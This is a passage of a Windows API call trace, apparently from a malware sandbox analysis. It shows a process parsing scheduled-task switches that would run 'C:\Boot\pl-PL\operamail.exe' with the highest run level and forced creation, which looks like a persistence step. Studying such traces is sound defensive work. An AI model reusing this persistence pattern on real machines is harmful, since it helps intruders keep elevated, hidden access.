StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.907] lstrlenW (lpString="?") returned 1 [0135.907] lstrlenW (lpString="?") returned 1 [0135.907] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.907] lstrlenW (lpString="tr") returned 2 [0135.907] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.907] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|?|") returned 3 [0135.907] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.907] lstrlenW (lpString="|?|") returned 3 [0135.907] lstrlenW (lpString="|tr|") returned 4 [0135.907] SetLastError (dwErrCode=0x490) [0135.907] lstrlenW (lpString="create") returned 6 [0135.908] lstrlenW (lpString="create") returned 6 [0135.908] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.908] lstrlenW (lpString="tr") returned 2 [0135.908] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.908] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.908] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.908] lstrlenW (lpString="|create|") returned 8 [0135.908] lstrlenW (lpString="|tr|") returned 4 [0135.908] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0135.908] SetLastError (dwErrCode=0x490) [0135.908] lstrlenW (lpString="delete") returned 6 [0135.908] lstrlenW (lpString="delete") returned 6 [0135.908] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.908] lstrlenW (lpString="tr") returned 2 [0135.908] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.908] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|delete|") returned 8 [0135.908] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.908] lstrlenW (lpString="|delete|") returned 8 [0135.908] lstrlenW (lpString="|tr|") returned 4 [0135.908] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0135.908] SetLastError (dwErrCode=0x490) [0135.908] lstrlenW (lpString="query") returned 5 [0135.908] lstrlenW (lpString="query") returned 5 [0135.908] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.908] lstrlenW (lpString="tr") returned 2 [0135.908] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.908] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|query|") returned 7 [0135.908] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.908] lstrlenW (lpString="|query|") returned 7 [0135.908] lstrlenW (lpString="|tr|") returned 4 [0135.908] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0135.908] SetLastError (dwErrCode=0x490) [0135.909] lstrlenW (lpString="change") returned 6 [0135.909] lstrlenW (lpString="change") returned 6 [0135.909] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.909] lstrlenW (lpString="tr") returned 2 [0135.909] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.909] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|change|") returned 8 [0135.909] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.909] lstrlenW (lpString="|change|") returned 8 [0135.909] lstrlenW (lpString="|tr|") returned 4 [0135.909] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0135.909] SetLastError (dwErrCode=0x490) [0135.909] lstrlenW (lpString="run") returned 3 [0135.909] lstrlenW (lpString="run") returned 3 [0135.909] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.909] lstrlenW (lpString="tr") returned 2 [0135.909] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.909] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|run|") returned 5 [0135.909] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.909] lstrlenW (lpString="|run|") returned 5 [0135.909] lstrlenW (lpString="|tr|") returned 4 [0135.909] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0135.909] SetLastError (dwErrCode=0x490) [0135.909] lstrlenW (lpString="end") returned 3 [0135.909] lstrlenW (lpString="end") returned 3 [0135.909] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.910] lstrlenW (lpString="tr") returned 2 [0135.910] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.910] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|end|") returned 5 [0135.910] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.910] lstrlenW (lpString="|end|") returned 5 [0135.910] lstrlenW (lpString="|tr|") returned 4 [0135.910] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0135.910] SetLastError (dwErrCode=0x490) [0135.910] lstrlenW (lpString="showsid") returned 7 [0135.910] lstrlenW (lpString="showsid") returned 7 [0135.910] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.910] lstrlenW (lpString="tr") returned 2 [0135.910] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.910] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|showsid|") returned 9 [0135.910] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tr|") returned 4 [0135.910] lstrlenW (lpString="|showsid|") returned 9 [0135.910] lstrlenW (lpString="|tr|") returned 4 [0135.910] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0135.910] SetLastError (dwErrCode=0x490) [0135.910] SetLastError (dwErrCode=0x490) [0135.910] SetLastError (dwErrCode=0x0) [0135.910] lstrlenW (lpString="/tr") returned 3 [0135.910] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0135.910] SetLastError (dwErrCode=0x490) [0135.910] SetLastError (dwErrCode=0x0) [0135.910] lstrlenW (lpString="/tr") returned 3 [0135.910] GetProcessHeap () returned 0x2d0000 [0135.910] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2edc80 [0135.910] GetProcessHeap () returned 0x2d0000 [0135.910] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc60 [0135.910] SetLastError (dwErrCode=0x0) [0135.910] SetLastError (dwErrCode=0x0) [0135.910] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.910] lstrlenW (lpString="-/") returned 2 [0135.910] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.911] SetLastError (dwErrCode=0x490) [0135.911] SetLastError (dwErrCode=0x490) [0135.911] SetLastError (dwErrCode=0x0) [0135.911] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.911] StrChrIW (lpStart="'C:\\Boot\\pl-PL\\operamail.exe'", wMatch=0x3a) returned=":\\Boot\\pl-PL\\operamail.exe'" [0135.911] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.911] GetProcessHeap () returned 0x2d0000 [0135.911] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed4d0 [0135.911] _memicmp (_Buf1=0x2ed4d0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.911] GetProcessHeap () returned 0x2d0000 [0135.911] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed4f0 [0135.911] GetProcessHeap () returned 0x2d0000 [0135.911] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed510 [0135.911] _memicmp (_Buf1=0x2ed510, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.911] GetProcessHeap () returned 0x2d0000 [0135.911] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x3e) returned 0x2e9270 [0135.911] SetLastError (dwErrCode=0x7a) [0135.911] SetLastError (dwErrCode=0x0) [0135.911] SetLastError (dwErrCode=0x0) [0135.911] lstrlenW (lpString="'C") returned 2 [0135.911] lstrlenW (lpString="-/") returned 2 [0135.911] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.911] SetLastError (dwErrCode=0x490) [0135.911] SetLastError (dwErrCode=0x490) [0135.911] SetLastError (dwErrCode=0x0) [0135.911] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.911] GetProcessHeap () returned 0x2d0000 [0135.911] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x3c) returned 0x2e92c0 [0135.911] GetProcessHeap () returned 0x2d0000 [0135.911] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc90 [0135.911] SetLastError (dwErrCode=0x0) [0135.911] SetLastError (dwErrCode=0x0) [0135.911] lstrlenW (lpString="/rl") returned 3 [0135.912] lstrlenW (lpString="-/") returned 2 [0135.912] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.912] lstrlenW (lpString="?") returned 1 [0135.912] lstrlenW (lpString="?") returned 1 [0135.912] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.912] lstrlenW (lpString="rl") returned 2 [0135.912] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.912] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|?|") returned 3 [0135.912] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.912] lstrlenW (lpString="|?|") returned 3 [0135.912] lstrlenW (lpString="|rl|") returned 4 [0135.912] SetLastError (dwErrCode=0x490) [0135.912] lstrlenW (lpString="create") returned 6 [0135.912] lstrlenW (lpString="create") returned 6 [0135.912] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.912] lstrlenW (lpString="rl") returned 2 [0135.912] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.912] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.912] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.912] lstrlenW (lpString="|create|") returned 8 [0135.912] lstrlenW (lpString="|rl|") returned 4 [0135.912] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0135.912] SetLastError (dwErrCode=0x490) [0135.912] lstrlenW (lpString="delete") returned 6 [0135.912] lstrlenW (lpString="delete") returned 6 [0135.912] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.912] lstrlenW (lpString="rl") returned 2 [0135.912] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.912] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|delete|") returned 8 [0135.912] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.912] lstrlenW (lpString="|delete|") returned 8 [0135.913] lstrlenW (lpString="|rl|") returned 4 [0135.913] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0135.913] SetLastError (dwErrCode=0x490) [0135.913] lstrlenW (lpString="query") returned 5 [0135.913] lstrlenW (lpString="query") returned 5 [0135.913] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.913] lstrlenW (lpString="rl") returned 2 [0135.913] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.913] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|query|") returned 7 [0135.913] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.913] lstrlenW (lpString="|query|") returned 7 [0135.913] lstrlenW (lpString="|rl|") returned 4 [0135.913] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0135.913] SetLastError (dwErrCode=0x490) [0135.913] lstrlenW (lpString="change") returned 6 [0135.913] lstrlenW (lpString="change") returned 6 [0135.913] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.913] lstrlenW (lpString="rl") returned 2 [0135.913] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.913] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|change|") returned 8 [0135.913] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.913] lstrlenW (lpString="|change|") returned 8 [0135.913] lstrlenW (lpString="|rl|") returned 4 [0135.913] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0135.913] SetLastError (dwErrCode=0x490) [0135.913] lstrlenW (lpString="run") returned 3 [0135.913] lstrlenW (lpString="run") returned 3 [0135.913] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.913] lstrlenW (lpString="rl") returned 2 [0135.913] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.913] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|run|") returned 5 [0135.914] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.914] lstrlenW (lpString="|run|") returned 5 [0135.914] lstrlenW (lpString="|rl|") returned 4 [0135.914] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0135.914] SetLastError (dwErrCode=0x490) [0135.914] lstrlenW (lpString="end") returned 3 [0135.914] lstrlenW (lpString="end") returned 3 [0135.914] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.914] lstrlenW (lpString="rl") returned 2 [0135.914] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.914] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|end|") returned 5 [0135.914] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.914] lstrlenW (lpString="|end|") returned 5 [0135.914] lstrlenW (lpString="|rl|") returned 4 [0135.914] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0135.914] SetLastError (dwErrCode=0x490) [0135.914] lstrlenW (lpString="showsid") returned 7 [0135.914] lstrlenW (lpString="showsid") returned 7 [0135.914] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.914] lstrlenW (lpString="rl") returned 2 [0135.914] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.914] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|showsid|") returned 9 [0135.914] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|rl|") returned 4 [0135.914] lstrlenW (lpString="|showsid|") returned 9 [0135.914] lstrlenW (lpString="|rl|") returned 4 [0135.914] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0135.914] SetLastError (dwErrCode=0x490) [0135.914] SetLastError (dwErrCode=0x490) [0135.914] SetLastError (dwErrCode=0x0) [0135.914] lstrlenW (lpString="/rl") returned 3 [0135.914] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0135.914] SetLastError (dwErrCode=0x490) [0135.914] SetLastError (dwErrCode=0x0) [0135.915] lstrlenW (lpString="/rl") returned 3 [0135.915] GetProcessHeap () returned 0x2d0000 [0135.915] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2edca0 [0135.915] GetProcessHeap () returned 0x2d0000 [0135.915] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccc0 [0135.915] SetLastError (dwErrCode=0x0) [0135.915] SetLastError (dwErrCode=0x0) [0135.915] lstrlenW (lpString="HIGHEST") returned 7 [0135.915] lstrlenW (lpString="-/") returned 2 [0135.915] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0135.915] SetLastError (dwErrCode=0x490) [0135.915] SetLastError (dwErrCode=0x490) [0135.915] SetLastError (dwErrCode=0x0) [0135.915] lstrlenW (lpString="HIGHEST") returned 7 [0135.915] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0135.915] SetLastError (dwErrCode=0x490) [0135.915] SetLastError (dwErrCode=0x0) [0135.915] lstrlenW (lpString="HIGHEST") returned 7 [0135.915] GetProcessHeap () returned 0x2d0000 [0135.915] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed530 [0135.915] GetProcessHeap () returned 0x2d0000 [0135.915] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccf0 [0135.915] SetLastError (dwErrCode=0x0) [0135.915] SetLastError (dwErrCode=0x0) [0135.915] lstrlenW (lpString="/f") returned 2 [0135.915] lstrlenW (lpString="-/") returned 2 [0135.915] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.915] lstrlenW (lpString="?") returned 1 [0135.915] lstrlenW (lpString="?") returned 1 [0135.915] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.916] lstrlenW (lpString="f") returned 1 [0135.916] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.916] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|?|") returned 3 [0135.916] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.916] lstrlenW (lpString="|?|") returned 3 [0135.916] lstrlenW (lpString="|f|") returned 3 [0135.916] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0135.916] SetLastError (dwErrCode=0x490) [0135.916] lstrlenW (lpString="create") returned 6 [0135.916] lstrlenW (lpString="create") returned 6 [0135.916] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.916] lstrlenW (lpString="f") returned 1 [0135.916] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.916] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.916] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.916] lstrlenW (lpString="|create|") returned 8 [0135.916] lstrlenW (lpString="|f|") returned 3 [0135.916] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0135.916] SetLastError (dwErrCode=0x490) [0135.916] lstrlenW (lpString="delete") returned 6 [0135.916] lstrlenW (lpString="delete") returned 6 [0135.916] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.916] lstrlenW (lpString="f") returned 1 [0135.916] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.917] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|delete|") returned 8 [0135.917] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.917] lstrlenW (lpString="|delete|") returned 8 [0135.917] lstrlenW (lpString="|f|") returned 3 [0135.917] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0135.917] SetLastError (dwErrCode=0x490) [0135.917] lstrlenW (lpString="query") returned 5 [0135.917] lstrlenW (lpString="query") returned 5 [0135.917] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.917] lstrlenW (lpString="f") returned 1 [0135.917] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.917] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|query|") returned 7 [0135.917] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.917] lstrlenW (lpString="|query|") returned 7 [0135.917] lstrlenW (lpString="|f|") returned 3 [0135.917] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0135.917] SetLastError (dwErrCode=0x490) [0135.917] lstrlenW (lpString="change") returned 6 [0135.917] lstrlenW (lpString="change") returned 6 [0135.917] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.917] lstrlenW (lpString="f") returned 1 [0135.917] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.917] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|change|") returned 8 [0135.917] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.917] lstrlenW (lpString="|change|") returned 8 [0135.917] lstrlenW (lpString="|f|") returned 3 [0135.917] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0135.917] SetLastError (dwErrCode=0x490) [0135.918] lstrlenW (lpString="run") returned 3 [0135.918] lstrlenW (lpString="run") returned 3 [0135.918] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.918] lstrlenW (lpString="f") returned 1 [0135.918] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.918] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|run|") returned 5 [0135.918] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.918] lstrlenW (lpString="|run|") returned 5 [0135.918] lstrlenW (lpString="|f|") returned 3 [0135.918] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0135.918] SetLastError (dwErrCode=0x490) [0135.918] lstrlenW (lpString="end") returned 3 [0135.918] lstrlenW (lpString="end") returned 3 [0135.918] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.918] lstrlenW (lpString="f") returned 1 [0135.918] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.918] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|end|") returned 5 [0135.918] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.918] lstrlenW (lpString="|end|") returned 5 [0135.918] lstrlenW (lpString="|f|") returned 3 [0135.918] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0135.918] SetLastError (dwErrCode=0x490) [0135.918] lstrlenW (lpString="showsid") returned 7 [0135.918] lstrlenW (lpString="showsid") returned 7 [0135.918] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.918] lstrlenW (lpString="f") returned 1 [0135.918] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.918] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|showsid|") returned 9 [0135.918] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|f|") returned 3 [0135.918] lstrlenW (lpString="|showsid|") returned 9 [0135.918] lstrlenW (lpString="|f|") returned 3 [0135.919] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0135.919] SetLastError (dwErrCode=0x490) [0135.919] SetLastError (dwErrCode=0x490) [0135.919] SetLastError (dwErrCode=0x0) [0135.919] lstrlenW (lpString="/f") returned 2 [0135.919] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0135.919] SetLastError (dwErrCode=0x490) [0135.919] SetLastError (dwErrCode=0x0) [0135.919] lstrlenW (lpString="/f") returned 2 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2edcc0 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd20 [0135.919] SetLastError (dwErrCode=0x0) [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec190) returned 1 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec190) returned 0x8 [0135.919] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec190 | out: hHeap=0x2d0000) returned 1 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecba0) returned 1 [0135.919] GetProcessHeap () returned 0x2d0000 [0135.919] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecba0) returned 0x20 [0135.920] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecba0 | out: hHeap=0x2d0000) returned 1 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.920] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed490) returned 1 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.920] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed490) returned 0x14 [0135.920] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed490 | out: hHeap=0x2d0000) returned 1 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.920] GetProcessHeap () returned 